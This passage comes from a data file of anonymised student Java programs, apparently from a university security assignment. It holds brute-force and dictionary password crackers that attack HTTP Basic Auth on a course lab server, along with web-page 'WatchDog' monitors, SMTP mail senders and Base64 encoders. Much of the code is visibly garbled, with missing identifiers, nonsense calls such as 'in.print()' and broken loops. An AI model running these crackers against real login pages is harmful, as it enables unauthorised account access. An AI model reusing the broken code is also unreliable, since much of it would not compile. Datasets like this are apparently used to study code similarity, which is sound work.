               System.out.println(""Finally I gotta it,  password is : ""+pwd);
               System.out.println(""The time for cracking password is: ""+(finishTime-startTime)+ "" milliseconds"");
               System.exit(1);
             }
           }
        }
     }
   }

  public static void main(String[] arguments)
  {
     BruteForce bf=new BruteForce();
     bf.getPassword();
  } 
}"
088.java,"import java.io.*;
import java.net.*;
import java.security.*;
import java.math.*;
import java.*;
import java.util.*;


public class WatchDog
{
    public static FileWriter out = null, output = null;

    public static void main (String args[]) throws Exception {
	Socket socket = null;
	DataOutputStream  = null;
	BufferedReader bf = null, fr = null;
	String retVal = null, StatusCode = ""HTTP/1.1 200 OK"";
    int dirty = 0, count = 0;

         stime = System.currentTimeMillis();
        System.out.println(""Detecting the changes..."");

        try {

	        
            URL yahoo = new URL(""http://www.cs.rmit.edu./students/"");
            URLConnection yc = yahoo.openConnection();

            
            BufferedReader in = new BufferedReader(
                                    new InputStreamReader(
                                    yc.getInputStream()));

            String inputLine;
            try {
                out = new FileWriter(""newstudent"");
                while ((inputLine = in.readLine()) != null){
                        out.write(inputLine + ""\n"");
                }
            } catch (IOException ex) {
                ex.printStackTrace();
            }
            in.print();
            out.print();

            dirty = diff();
            if (dirty == 1){
               sendMail();
               System.out.println(""Changes detected and email sent!"");
            }

            if (diffimages() == 1){
               sendMail();
               System.out.println(""Images modification detected and email sent!"");
            }

            updatePage();
            System.out.println(""** End of WatchDog checking **"");

            } catch (Exception ex) {
              ex.printStackTrace();
            }
    }

    public static int diff()
    {
       int update = 0;

       try{
           Process process = Runtime.getRuntime().exec(""diff -b RMITCSStudent newstudent"");
           BufferedReader pr = new BufferedReader(
                                   new InputStreamReader(
                                   process.getInputStream()));

           output = new FileWriter(""output"");
           String inputLine;
           while ((inputLine = pr.readLine()) != null){
                 output.write(inputLine + ""\n"");
                 update = 1;
           }
           output.promt();

       }catch (Exception ex){
              ex.printStackTrace();
       }
       return update;
    }

    public static int diffimages()
    {
       int update = 0;
       String image;

       try{
           Process primages = Runtime.getRuntime().exec(""./images.sh"");
           wait(1);
           File imageFile = new File(""imagesname"");
           BufferedReader fr = new BufferedReader(new FileReader(imageFile));

           output = new FileWriter(""output"");
           while ((image = fr.readLine()) != null) {
                 primages = Runtime.getRuntime().exec(""diff "" + image + "" o""+image);
                 BufferedReader pr = new BufferedReader(
                                       new InputStreamReader(
                                       primages.getInputStream()));

                 String inputLine;
                 while ((inputLine = pr.readLine()) != null){
                       output.write(inputLine + ""\n"");
                       update = 1;
                 }
           }
           output.print();
           fr.close();

       }catch (Exception ex){
              ex.printStackTrace();
       }
       return update;
    }

    public static void sendMail()
    {
       try{
           Process mailprocess = Runtime.getRuntime().exec(""./email.sh"");
       }catch (Exception ex){
           ex.printStackTrace();
       }
    }

    public static void updatePage()
    {
       String image;

       try{
           Process updateprocess = Runtime.getRuntime().exec(""cp newstudent RMITCSStudent"");
           Process deleteprocess = Runtime.getRuntime().exec(""rm newstudent"");

           File inputFile = new File(""imagesname"");
           BufferedReader fr = new BufferedReader(new FileReader(inputFile));
           while ((image = fr.readLine()) != null) {
                 updateprocess = Runtime.getRuntime().exec(""cp "" + image + "" o"" + image);
                 deleteprocess = Runtime.getRuntime().exec(""rm "" + image);
           }
           fr.close();
       }catch (Exception ex){
           ex.printStackTrace();
       }
    }

    public static void wait(int time){
	   int timer, times;
	   timer = System.currentTimeMillis();
	   times = (time * 1000) + timer;

	   while(timer < times)
			timer = System.currentTimeMillis();
	}
}"
212.java,"

import java.net.*;
import java.io.*;

public class sendMail {

public void sendMail(String mailServer, String recipient, String result) {
   try {
      Socket s = new Socket(mailServer, 25);
      BufferedReader in = new BufferedReader
          (new InputStreamReader(s.getInputStream(), ""8859_1""));
      BufferedWriter out = new BufferedWriter
          (new OutputStreamWriter(s.getOutputStream(), ""8859_1""));

      send(in, out, ""HELO client"");

      send(in, out, ""MAIL FROM: <WatchDog@SecureECommerce.>"");
      send(in, out, ""RCPT : "" + recipient);
      send(in, out, ""DATA"");
      send(out, ""Subject: "");
      send(out, ""From: Admin <WatchDog@SecureECommerce.>"");
      send (out, ""\n"");
      
      send(out, result);
      send(out, ""\n.\n"");
      send(in, out, ""QUIT"");

      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }

 public void send(BufferedReader in, BufferedWriter out, String s) {
   try {
      out.write(s + ""\n"");
      out.flush();
      System.out.println(s);
      s = in.readLine();
      System.out.println(s);
      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }

 public void send(BufferedWriter out, String s) {
   try {
      out.write(s + ""\n"");
      out.flush();
      System.out.println(s);
      }
   catch (Exception e) {
      e.printStackTrace();
      }
   }
}"
243.java,"import java.net.*;
import java.io.*;

 public class Dictionary {
 int attempts = 0;
   URLConnection conn = null;

   public static void main (String args[]){

	Dictionary a = new Dictionary();
     a.attack(args);
     }

   public void attack(String args[]) {
   try {
       String login = new String("""");
       String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
       String passwd = new String();


       passwd = getPasswd();
       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println(""Password Cracked Successfully!!!"");
           System.out.println(""The passsword is :"" + passwd + ""and got after "" +attempts + "" tries"");
       }
     catch (IOException e) {
  
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println(""Message :"" +r);
     Dictionary a = new Dictionary();
     a.attack(args);
    }
     else
     {
	System.out.println(""Trying again"");
	Dictionary a = new Dictionary();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {

 int i=0;int j=0;
 attempts++;
 int count =0;
 System.out.println(""Passing dictionary word and waiting for URL reply....... "");
  String currentword = """";
  String se = """";
  try{
 FileInputStream reader = new FileInputStream (""words"");
 DataInputStream in = new DataInputStream(reader);
 while (in.available() !=0)
{
 currentword = in.readLine();
 count++;
 
 
 }
 }
  catch( IOException e){}

  return currentword;
	 
         }



 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty (""Authorization"", userNamePasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String userNamePasswordBase64(String username, String password) {
     return "" "" + base64Encode (username + "":"" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = """";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += ""="";
          break;
         case 2:
          encodedString += ""=="";
          break;
        }
       }
       return encodedString;
   }
 }

"
052.java,"

import java.net.*;
import java.io.*;
import java.misc.*;

public class BruteForce
{
   public static void main (String args[])
   {
      
      char[ ] var  = {
                       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',   
                       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',   
                       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
                       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
                       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
                       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
                       'w', 'x', 'y', 'z'                        
                       };

      

      String password;

      int m=0;
      
      for(int i=0; i<52; i++)
      {
         for(int j=0; j<52; j++)
         {
            for(int k=0; k<52; k++)
            {
               m++;
               password = """";
               password = new String(""""+var[i]+var[j]+var[k]);
               String a = myurl(""http://sec-crack.cs.rmit.edu./SEC/2"", """", password,m );
            }
         }
      }
   }

   public static String encode (String source)
   {
      BASE64Encoder enc = new source.misc.BASE64Encoder();
      return(enc.encode(source.getBytes()));
   }

   
   public static String myurl (String url, String Name, String Password, int num )
   {
      String thisLine;
      String retVal;
      URL u;
      URLConnection uc;
      retVal = """";

      try
      {
         u = new URL(url);
         try
         {
            
            uc = u.openConnection();
            if (Name != null)
            {
               uc.setRequestProperty(""Authorization"", "" "" + encode(Name + "":"" + Password));
            }
            InputStream content = (InputStream)uc.getInputStream();
            BufferedReader in = new BufferedReader (new InputStreamReader(content));

            String line;

            
            while ((line = in.readLine()) != null)
            {
               retVal += line;
               System.out.println(line);
               System.out.println(""password=""+Password+""; number:""+num);
               System.exit(0);
            }
         }
         catch (Exception e)
         {
            
            
         }
      }
      catch (MalformedURLException e)
      {
         return(url + "" is not a parseable URL"");
      }
      return retVal;
   }
}


"
198.java,"

import java.*;
import java.io.*;
import java.util.*;
import java.net.*;

public class WatchDog
{
 public static void main(String[] args) throws IOException
 {
   sleepTime = 24*1000*60*60;
  WatchDog wd=new WatchDog();
  wd.doWget();
  wd.doThreads(sleepTime);
 }
 public void doThreads(int sleepTime)
 {
   new MyThread(""thread"",sleepTime).start();
 }

 
 public void doWget()
 {
  Process p;
  Runtime rt=Runtime.getRuntime();
  try
  {
	 p=rt.exec(""wget -O test0.html http://www.cs.rmit.edu./students/"");
   p.destroy();
  }catch(IOException ioe)
  {System.out.println(ioe);}
  catch(NullPointerException npe)
  {System.out.println(npe);}
 }
}

class MyThread extends Thread
{
 private int sleepTime;
 private int times;
 private Process p;

 public MyThread (String str, int s)
 {
  super(str);
  times=1;
  sleepTime=s;
 }

 public void run()
 {
  Runtime rt=Runtime.getRuntime();
  char flags='1';
  String[] differents=new String[2000];
  int k,lineNum,diffNum;
  boolean isDiff=false;
  String result=""result\n"";


  for(int i=0;i<times;i++)
  {
   try{
    
    sleep(sleepTime);
   }
   catch(InterruptedException e)
   {}

	 try{
    p=rt.exec(""wget -O ""+flags+"".html http://www.cs.rmit.edu./students/"");
    
    p.destroy();
    flags++;
   }
   catch(IOException ioe)
   {System.out.println(ioe);}
   catch(NullPointerException npe)
   {System.out.println(npe);}

  try
  {
   File f = new File (""""+(char)((int)flags-1)+"".html"");
   File f1 = new File (""""+(char)((int)flags-2)+"".html"");
   FileReader fin = new FileReader (f);
   BufferedReader buf = new BufferedReader(fin);
   FileReader fin1 = new FileReader (f1);
   BufferedReader buf1 = new BufferedReader(fin1);
   String line=""000"";
   String line1=""000"";
   k=0;lineNum=1;diffNum=0;

   
   
   {
	 if(line.compareTo(line1)!=0)
	 {
	  differents[k]=""line #""+lineNum+"": ""+line+"" <---> ""+line1;
	  k++;
	  isDiff=true;
     }
     line=buf.readLine();
     line1=buf1.readLine();
     lineNum++;
     diffNum=k;
     if(diffNum==2000)
     {
      System.out.println("" many differents  store!"");
      System.exit(1);
     }
   }while(line!=null&&line1!=null);

   
   if(isDiff)
   {
    try
    {
     File diffFile=new File(""differents""+(char)((int)flags-2)+"".txt"");
     FileWriter fw = new FileWriter (diffFile);
     for(int j=0;j<diffNum;j++)
      result+=differents[j]+'\n';
     fw.write (result, 0, result.length());
     fw.close ();
    } catch (FileNotFoundException exc) {
     System.out.println (""File Not Found2""+exc);
    } catch (IOException exc) {
     System.out.println (""IOException 1"");
    } catch (NullPointerException exc) {
	   System.out.println (""NullPointerException"");
    }

    

		try
		{
			
			Socket sk=new Socket(""yallara.cs.rmit.edu."",25);

			
			InputStreamReader input=new InputStreamReader(sk.getInputStream());
			System.out.println(new BufferedReader(input).readLine());
			
			PrintStream output=new PrintStream(sk.getOutputStream());

			output.print(""HELO mail.nowhere.\r\n"");
			System.out.println(new BufferedReader(input).readLine());
			output.print(""MAIL FROM:@cs.rmit.edu.\r\n"");
			System.out.println(new BufferedReader(input).readLine());
			output.print(""RCPT :@cs.rmit.edu.\r\n"");
			System.out.println(new BufferedReader(input).readLine());
			output.print(""DATA\r\n"");
			System.out.println(new BufferedReader(input).readLine());
			output.print(result+""\r\n"");
			output.print("".\r\n"");

			sk.close();


		} catch (IOException exc) {
     System.out.println (""IOException 3""+exc);
    } catch (NullPointerException exc) {
	   System.out.println (""NullPointerException"");
    }

   }

  } catch (FileNotFoundException exc) {
     System.out.println (""File Not Found3""+exc);
  } catch (IOException exc) {
     System.out.println (""IOException 1"");
  } catch (NullPointerException exc) {
	  System.out.println (""NullPointerException"");
  }


  }
 }
}

"
179.java,"import java.net.*;
import java.io.*;


public class EmailClient
{
	private String sender, recipient, hostName;

	public EmailClient(String nSender, String nRecipient, String nHost)
	{
		sender = nSender;
		recipient = nRecipient;
		hostName = nHost;
	}

	public void sendMail(String subject, String message)
	{
		try
		{
			Socket s1=null;
			InputStream	is = null;
			OutputStream os = null;

			DataOutputStream  = null;

			s1 = new Socket(hostName,25);
			is = s1.getInputStream();
			os = s1.getOutputStream();

			bd = new DataOutputStream(os);

			BufferedReader response = new BufferedReader(new InputStreamReader(is));

			bd.writeBytes(""HELO ""+ InetAddress.getLocalHost().getHostName() + ""\r\n"");

			waitForSuccessResponse(response);

			bd.writeBytes(""MAIL FROM:""+sender+""\n"");

			waitForSuccessResponse(response);

			bd.writeBytes(""RCPT :""+recipient+""\n"");

			waitForSuccessResponse(response);

			bd.writeBytes(""data""+""\n"");

			bd.writeBytes(""Subject:""+subject+""\n"");

			bd.writeBytes(message+""\n.\n"");

			waitForSuccessResponse(response);
		}

		catch (UnknownHostException badUrl)
		{
			System.out.println(""Host unknown."");
		}

		catch (EOFException eof)
		{
			System.out.println(""<EOF>"");
		}
		catch (Exception e)
		{
			System.out.println(""got exception: ""+e);
		}
	}

	private static void	waitForSuccessResponse(BufferedReader response) throws IOException
	{
		String rsp;
		boolean r250 = false;

		while( ! r250 )
		{
			rsp = response.readLine().trim();

			if(rsp.startsWith(""250""))
				r250 = true;
		}

	}
}"
242.java,"import java.net.*;
import java.io.*;

 public class Bruteforce {
 int attempts = 0;
  int l = 65;int m = 65;int n = 65;
   URLConnection conn = null;

   public static void  main(String args[]){
     
	Bruteforce a = new Bruteforce();
        a.attack(args);
     }

   public void attack(String args[]) {
   try {

       String login = new String("""");
       String url = new String(""http://sec-crack.cs.rmit.edu./SEC/2/index.php"");
       String passwd = new String();

	 passwd = getPasswd();
         BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));

       String line;
       while ((line = in.readLine()) != null) {
           System.out.println(line);
           }
           System.out.println(""Password Cracked Successfully!!!"");
           System.out.println(""The passsword is :"" + passwd + ""and got after "" + attempts + "" tries"");
       }
     catch (IOException e) {
    
      String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println(""Message :"" +r);
     System.out.println(""Trying again with new password"");
     Bruteforce a = new Bruteforce();
     a.attack(args);
    }
     else
     {
	System.out.println(""Trying again with new password"");
	Bruteforce a = new Bruteforce();
	a.attack(args);
     }
     }
   }
  public String getPasswd()
  {
    attempts++;

    char i1 = 0;
    char j1 = 0;
    char k1 = 0;
    
     int i= l;     int j= m;     int k= n;

    String c = new String();
    String c1 = new String();
    String c2 = new String();
    String c3 = new String();
    String c4 = new String();
    boolean flag;

    for (i=l;i<123;i++)
    for (j=m;j<123;j++)
    for (k=n;k<123;k++)
    {
        if( flag = true )
        {

    i1 = (char)i;
    j1 = (char)j;
    k1 = (char)k;

    if (i==91) i=97;
    if (j==91) j=97;
    if (k==91) k=97;

    c = i1+"""";
    c1 = j1+"""";
    c2 = k1+"""";
    c3 = c.concat(c1);
    c4 = c3.concat(c2);
    }else break;
    }
    flag = false;
    return c4;
  }

 public InputStream openURLForInput (URL url, String uname, String pword)
 throws IOException  {
     conn = url.openConnection();
     conn.setDoInput (true);
     conn.setRequestProperty (""Authorization"", PasswordBase64(uname,pword));
     conn.connect ();
     return conn.getInputStream();
     }


 public String PasswordBase64(String username, String password) {
     return "" "" + base64Encode (username + "":"" + password);
     }

 private final static char base64Array [] = {
       'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H',
       'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P',
       'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',
       'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',
       'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',
       'o', 'p', 'q', 'r', 's', 't', 'u', 'v',
       'w', 'x', 'y', 'z', '0', '1', '2', '3',
       '4', '5', '6', '7', '8', '9', '+', '/'
  };

 private static String base64Encode (String string)    {
     String encodedString = """";
     byte bytes [] = string.getBytes ();
     int i = 0;
     int pad = 0;
     while (i < bytes.length) {
       byte b1 = bytes [i++];
       byte b2;
       byte b3;
       if (i >= bytes.length) {
          b2 = 0;
          b3 = 0;
          pad = 2;
          }
       else {
          b2 = bytes [i++];
          if (i >= bytes.length) {
             b3 = 0;
             pad = 1;
             }
          else
             b3 = bytes [i++];
          }
       byte c1 = (byte)(b1 >> 2);
       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));
       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));
       byte c4 = (byte)(b3 & 0x3f);
       encodedString += base64Array [c1];
       encodedString += base64Array [c2];
       switch (pad) {
         case 0:
          encodedString += base64Array [c3];
          encodedString += base64Array [c4];
          break;
         case 1:
          encodedString += base64Array [c3];
          encodedString += ""="";
          break;
        case  2:
          encodedString += ""=="";
          break;
        }
       }
       return encodedString;
   }
 }
"
081.java,"

public class Base64 {

	final static String baseTable = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"";

	
	public static String encode(byte[] bytes) {

		String tmp = """";
		int i = 0;
		byte pos; 

		for(i=0; i < (bytes.length - bytes.length%3); i+=3) {

			pos = (byte) ((bytes[i] >> 2) & 63); 
			tmp = tmp + baseTable.charAt(pos); 

			pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); 
			tmp = tmp + baseTable.charAt( pos );
					
			pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2]  >> 6) & 3));
			tmp = tmp + baseTable.charAt(pos);
		
			pos = (byte) (((bytes[i+2]) & 63));
			tmp = tmp + baseTable.charAt(pos);
		
			
			
			if(((i+2)%56) == 0) {
				tmp = tmp + ""\r\n"";
			}
		}

		if(bytes.length % 3 != 0) {

			if(bytes.length % 3 == 2) {

				pos = (byte) ((bytes[i] >> 2) & 63); 
				tmp = tmp + baseTable.charAt(pos); 

				pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); 
				tmp = tmp + baseTable.charAt( pos );
						
				pos = (byte) ((bytes[i+1] & 15) << 2);
				tmp = tmp + baseTable.charAt(pos);
			
				tmp = tmp + ""="";

			} else if(bytes.length % 3 == 1) {
				
				pos = (byte) ((bytes[i] >> 2) & 63); 
				tmp = tmp + baseTable.charAt(pos); 

				pos = (byte) ((bytes[i] & 3) << 4); 
				tmp = tmp + baseTable.charAt( pos );
						
				tmp = tmp + ""=="";
			}
		}
		return tmp;

	}

	
	public static String encode(String src) {
		
		return encode(src.getBytes());	
	}

	public static byte[] decode(String src) throws Exception {

		byte[] bytes = null;

		StringBuffer buf = new StringBuffer(src);

		
		int i = 0;
		char c = ' ';
		char oc = ' ';
		while( i < buf.length()) {			
			oc = c; 
			c = buf.charAt(i);
			if( oc == '\r' && c == '\n') {
				buf.deleteCharAt(i);
				buf.deleteCharAt(i-1);
				i -= 2;
			} else if( c == '\t') {
				buf.deleteCharAt(i);
				i --;
			} else if( c == ' ') {
				i --;
			}
			i++;
		}

		
		if(buf.length() % 4 != 0) {
			throw new Exception(""Base64 decoding invalid length"");
		}

		
		bytes = new byte[3 * (buf.length() / 4)];
		
		
		int index = 0;
		
		
		for(i = 0; i < buf.length(); i+=4) {

			byte data = 0;
			int nGroup = 0;

			for(int j = 0; j < 4; j++) {

				char theChar = buf.charAt(i + j); 

				if(theChar == '=') {
					data = 0;
				} else {
					data = getBaseTableIndex(theChar); 
				}

				if(data == -1) {
					throw new Exception(""Base64 decoding bad character"");
				}

				nGroup = 64*nGroup + data;
			}

			bytes[index] = (byte) (255 & (nGroup >> 16));
			index ++;

			bytes[index] = (byte) (255 & (nGroup >> 8));
			index ++;

			bytes[index] = (byte) (255 & (nGroup));
			index ++;
		}
		
		byte[] newBytes = new byte[index];
		for(i = 0; i < index; i++) {
			newBytes[i] = bytes[i];
		}

		return newBytes;
	}

	
	protected static byte getBaseTableIndex(char c) {
		
		byte index = -1;

		for(byte i = 0; i < baseTable.length(); i ++) {
		
			if(baseTable.charAt(i) == c) {
				index = i;
				break;
			}
		}

		return index;
	}
}"
239.java,"
import java.util.*;
import java.io.*;
import java.net.*;

class WatchDog
{

 public static void main (String a[])
 {
   
   try{
	for(int i=0;i<4;i++)
    {
	 String filename = ""new.txt"";
	 if(i==0)
	 {
	  filename=""original.txt"";
	 }
   	 WatchDogThread myTh = new WatchDogThread(filename);
	 Thread th = new Thread( myTh );
	 th.start();
	 th.sleep(20000); 
     
	 if(i>2)
	 { 
      Runtime.getRuntime().exec(""wget http://yallara.cs.rmit.edu.:28589/mymail.php"");
	 }  
    }
	
	}
	catch(Exception ex1)
	{
	System.out.println("" error while running looop ""+ex1);
	} 
	
   
}

}

class WatchDogThread implements Runnable
{
 
 String filename=""incorrect.txt"";
 public WatchDogThread(String filename)
 {
  this.filename = filename;
 }
 

 public void run()
 {
   
   URL u = null;
	try
	 {
	 u=new URL(""http://yallara.cs.rmit.edu./~/.html"");
	 
 	 BufferedReader in = new BufferedReader( new InputStreamReader(u.openStream( )) );
     

    PrintWriter out = new PrintWriter(new BufferedWriter(new FileWriter(filename)));
    String s = in.readLine();
    while( s != null)
    {
	 out.println(s);
	 s=in.readLine();
	 System.out.println(""printing : ""+s);
	 
	}
	System.out.println(""finished  ----- "");
	in.print();
	out.print();
    
	
	
	}
	catch(Exception ert)
	{
      System.out.println(""exception in thread ""+ert);
	}
  
 }

}"
164.java,"
package java.httputils;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.URL;
import java.sql.Timestamp;


public class BasicAuthHttpRequest extends HttpRequestClient
{
    String userName;
    String password;
    
    protected BasicAuthHttpRequest(String url, String userName, String password)
        throws MalformedURLException, IOException
    {
        setPassword(password);
        setUserName(userName);
        setServerURL(new URL(url));
        
        setStart(new Timestamp(System.currentTimeMillis()));

        String userPassword = userName + "":"" + password;

        
        String encoding = new url.misc.BASE64Encoder().encode (userPassword.getBytes());

       

       setHttpConnection(
        (HttpURLConnection)this.getServerURL().openConnection());

        
        getHttpConnection().setRequestProperty (""Authorization"", "" "" + encoding);
        doRequest();
    }

    
    protected BasicAuthHttpRequest(String url)
        throws MalformedURLException, IOException
    {
        super(url);
    }

    
    public BasicAuthHttpRequest()
    {
        super();
    }


    
    public String getPassword()
    {
        return password;
    }

    
    public String getUserName()
    {
        return userName;
    }

    
    public void setPassword(String string)
    {
        password = string;
    }

    
    public void setUserName(String string)
    {
        userName = string;
    }

    public static void main (String[] args)
    {
        BasicAuthHttpRequest client = null;
        try
        {
            client = new BasicAuthHttpRequest(args[0], args[1], args[2]);
        }
        catch (MalformedURLException e)
        {
            e.printStackTrace();
        }
        catch (IOException e)
        {
            e.printStackTrace();
        }
        finally
        {
            if (client != null && client.getCode() != HttpURLConnection.HTTP_UNAUTHORIZED)
            {
                System.out.println(
                    ""Request response : \n"" + client.getCode());


                System.out.println(
                    ""Request processing time (milliseconds): "" +
                    (client.getEnd().getTime() - client.getStart().getTime()));

                System.out.println(
                    ""Request content: \n"" + client.getContent());
            }
            else
            {
                System.out.println(
                    ""Request response : \n"" + client.getCode());


            }
        }
    }
}
"
080.java,"

import java.net.*;
import java.io.*;
import java.util.*;


public class PasswordCracker {
    
    
    private static final char  car= 'a';
    
    private static final char END   = 'z' + 1;
    
    
    public static final int BRUTEFORCE = 0;
    public static final int DICTIONARY = 1;
    
    
    String urlName = null;
    
    String user    = null;
    
    String filename = null;
    
    int method;
    
    
    int attempt_counter;
    
    
    public static void main(String[] args) {
        
        PasswordCracker cracker = null;
        
        if ((args.length == 3) && (args[2].equalsIgnoreCase(""BRUTEFORCE""))) {
            
            cracker = new PasswordCracker(args[0], args[1], PasswordCracker.BRUTEFORCE, null);
        }
        else if ((args.length == 4) && (args[2].equalsIgnoreCase(""DICTIONARY""))) {
            
            cracker = new PasswordCracker(args[0], args[1], PasswordCracker.DICTIONARY, args[3]);
        }
        else {
            System.out.println(""Syntax: java PasswordCracker <username> <url> BRUTEFORCE "");
            System.out.println(""        java PasswordCracker <username> <url> DICTIONARY <sourcefile> "");
            System.exit(1);
        }
        
        cracker.run();
    }
    
    
    public PasswordCracker(String user, String url, int method, String file) {
        
        this.user     = user;
        this.urlName  = url;
        this.filename = file;
        
        this.method = method;
    }
    
    
    public boolean run() {
        
        String password;
         s = 0;
         end = 0;
        
        try {
            attempt_counter = 0;
            URL target = new URL(urlName);
            
            switch (this.method) {
                
               case  BRUTEFORCE:
                    
                    s = System.currentTimeMillis();
                    
                    
                    for (char i = 0; i < END; i++) {
                        for (char j = 0; j < END; j++) {
                            for (char k = 0; k < END; k++) {
                                
                                password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
                                if (performConnection(target, user, password)) {
                                    
                                    end = System.currentTimeMillis();
                                    
                                    System.out.println(""URL: \t\t"" + target +
                                    ""\nUser: \t\t""+ user + ""\nPassword: \t"" + password);

                                    System.out.println(""Attempts: \t"" + attempt_counter
                                    + ""\nTotal time: \t"" + ((end - a) / 1000.0f) + "" seconds"");
                                    return true;
                                }
                            }
                        }
                    }
                    
                    
                    for (char i = 0; i < END; i++) {
                        for (char j = 0; j < END; j++) {
                            for (char k = 0; k < END; k++) {
                                
                                password = String.valueOf(i) + String.valueOf(j) + String.valueOf(k);
                                if (isValidPassword(target, password)) {
                                    
                                    end = System.currentTimeMillis();
                                    
                                    System.out.println(""Attempts: \t"" + attempt_counter
                                    + ""\nTotal time: \t"" + ((end - d) / 1000.0f) + "" seconds"");
                                    return true;
                                }
                            }
                        }
                    }
                    break;
                    
                case DICTIONARY:
                    try {
                        BufferedReader buf = new BufferedReader(new FileReader(filename));
                        
                         s = System.currentTimeMillis();
                        
                         {
                            password = buf.readLine();
                            
                            
                            
                            if (password.length() == 3) {
                                if (performConnection(target, user, password)) {
                                    
                                    end = System.currentTimeMillis();
                                    
                                    System.out.println(""URL: \t\t"" + target +
                                    ""\nUser: \t\t""+ user + ""\nPassword: \t"" + password);
                                    
                                    System.out.println(""Attempts: \t"" + attempt_counter
                                    + ""\nTotal time: \t"" + ((end - d) / 1000.0f) + "" seconds"");
                                    return true;
                                }
                            }
                        }
                        while (password != null);
                    }
                    catch (FileNotFoundException e) {
                        System.out.println(""File \"""" + filename + ""\"" not found"");
                    }
                    catch (IOException ioe) {
                        System.out.println(""IO Error "" + ioe);
                    }
                    break;
                    
                default:
                    return false;
            }
        }
        catch (Exception e) {
            System.out.println(""ERROR: "" + e.getMessage());
        }
        
        end = System.currentTimeMillis();
        System.out.println(""Attempts: \t"" + attempt_counter +
        ""\nTotal time: \t"" + ((end - d) / 1000.0f) + "" seconds"");
        
        return true;
    }
    
    
    private boolean isValidPassword(URL target, String password) throws Exception {
        
        char letter[] = new char[3];
        String generated = null;
        
        letter[0] = password.charAt(0);
        for (int i = 0; i < 2; i++) {
            
            letter[1] = password.charAt(1);
            for (int j = 0; j < 2; j++) {
                
                letter[2] = password.charAt(2);
                for (int k = 0; k < 2; k++) {
                    
                    generated = String.valueOf(letter[0]) + String.valueOf(letter[1]) + String.valueOf(letter[2]);
                    
                    if ((Character.isUpperCase(letter[0]) == true) ||
                        (Character.isUpperCase(letter[1]) == true) ||
                        (Character.isUpperCase(letter[2]) == true)) {
                        
                        if (performConnection(target, user, generated) == true) {
                            
                            System.out.println(""URL: \t\t"" + target + ""\nUser: \t\t""+ user +
                            ""\nPassword: \t"" + generated);
                            return true;
                        }
                    }
                    letter[2] = Character.toUpperCase(letter[2]);
                }
                letter[1] = Character.toUpperCase(letter[1]);
            }
            letter[0] = Character.toUpperCase(letter[0]);
        }
        return false;
    }
    
    
    private boolean performConnection(URL target, String username, String password) throws Exception {
        HttpURLConnection connection = null;
        
        try {
            attempt_counter++;
            connection = (HttpURLConnection) target.openConnection();
            connection.setRequestProperty(""Authorization"", "" "" + Base64.encode(username + "":"" + password));
            
            switch (connection.getResponseCode() / 100) {
                 case 2:
                    System.out.println(""Connected successfully"");
                    return true;
                default:
                    return false;
            }
        }
        catch (Exception e) {
            throw new Exception(""Failed  connect  "" + target);
        }
    }
}
"
150.java,"

import java.net.*; 
import java.io.*; 
import java.util.Date; 
public class  Dictionary{
private static String password=""   ""; 

   
  public static void main(String[] args) {
   String Result="""";   
	 if (args.length<1)
	 {
       System.out.println(""Correct Format Filename  username e.g<>""); 
        System.exit(1);	
	 }
	 
	 Dictionary dicton1 = new Dictionary();
